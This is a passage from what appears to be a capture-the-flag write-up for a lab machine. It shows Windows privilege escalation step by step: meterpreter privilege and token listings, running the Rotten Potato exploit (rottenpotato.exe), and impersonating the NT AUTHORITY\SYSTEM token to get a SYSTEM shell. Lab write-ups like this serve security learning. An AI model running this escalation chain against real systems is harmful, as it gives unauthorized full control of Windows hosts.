Service accounts usually have special privileges (SeImpersonatePrivileges) and this could be used to escalate privileges.

I won’t go into the details on how this exploit works, the article above explains it far better than I ever could.
|
||
|
||
Let’s check our privileges with meterpreter:
|
||
|
||
```
|
||
meterpreter > getprivs
|
||
|
||
Enabled Process Privileges
|
||
==========================
|
||
|
||
Name
|
||
----
|
||
SeAssignPrimaryTokenPrivilege
|
||
SeChangeNotifyPrivilege
|
||
SeCreateGlobalPrivilege
|
||
SeImpersonatePrivilege
|
||
SeIncreaseQuotaPrivilege
|
||
SeIncreaseWorkingSetPrivilege
|
||
```
|
||
|
||
Excellent, it looks like we have the privileges we need to perform the attack. Let’s upload `rottenpotato.exe`
|
||
|
||
Back on our meterpreter session we load the `incognito` extension.
|
||
|
||
```
|
||
meterpreter > use incognito
|
||
Loading extension incognito...Success.
|
||
meterpreter > list_tokens -u
|
||
[-] Warning: Not currently running as SYSTEM, not all tokens will beavailable
|
||
Call rev2self if primary process token is SYSTEM
|
||
|
||
Delegation Tokens Available
|
||
========================================
|
||
NT SERVICE\SQLSERVERAGENT
|
||
NT SERVICE\SQLTELEMETRY
|
||
TALLY\Sarah
|
||
|
||
Impersonation Tokens Available
|
||
========================================
|
||
No tokens available
|
||
```
|
||
|
||
We can see we currently have no Impersonation Tokens. Let’s run the Rotten Potato exploit.
|
||
|
||
```
|
||
meterpreter > execute -f rottenpotato.exe -Hc
|
||
Process 3104 created.
|
||
Channel 2 created.
|
||
meterpreter > list_tokens -u
|
||
[-] Warning: Not currently running as SYSTEM, not all tokens will beavailable
|
||
Call rev2self if primary process token is SYSTEM
|
||
|
||
Delegation Tokens Available
|
||
========================================
|
||
NT SERVICE\SQLSERVERAGENT
|
||
NT SERVICE\SQLTELEMETRY
|
||
TALLY\Sarah
|
||
|
||
Impersonation Tokens Available
|
||
========================================
|
||
NT AUTHORITY\SYSTEM
|
||
```
|
||
|
||
We need to quickly impersonate the token or it will disappear.
|
||
|
||
```
|
||
meterpreter > impersonate_token "NT AUTHORITY\\SYSTEM"
|
||
[-] Warning: Not currently running as SYSTEM, not all tokens will beavailable
|
||
Call rev2self if primary process token is SYSTEM
|
||
[-] No delegation token available
|
||
[+] Successfully impersonated user NT AUTHORITY\SYSTEM
|
||
meterpreter > getuid
|
||
Server username: NT AUTHORITY\SYSTEM
|
||
```
|
||
|
||
Success! We have our SYSTEM shell and can grab the root.txt file!
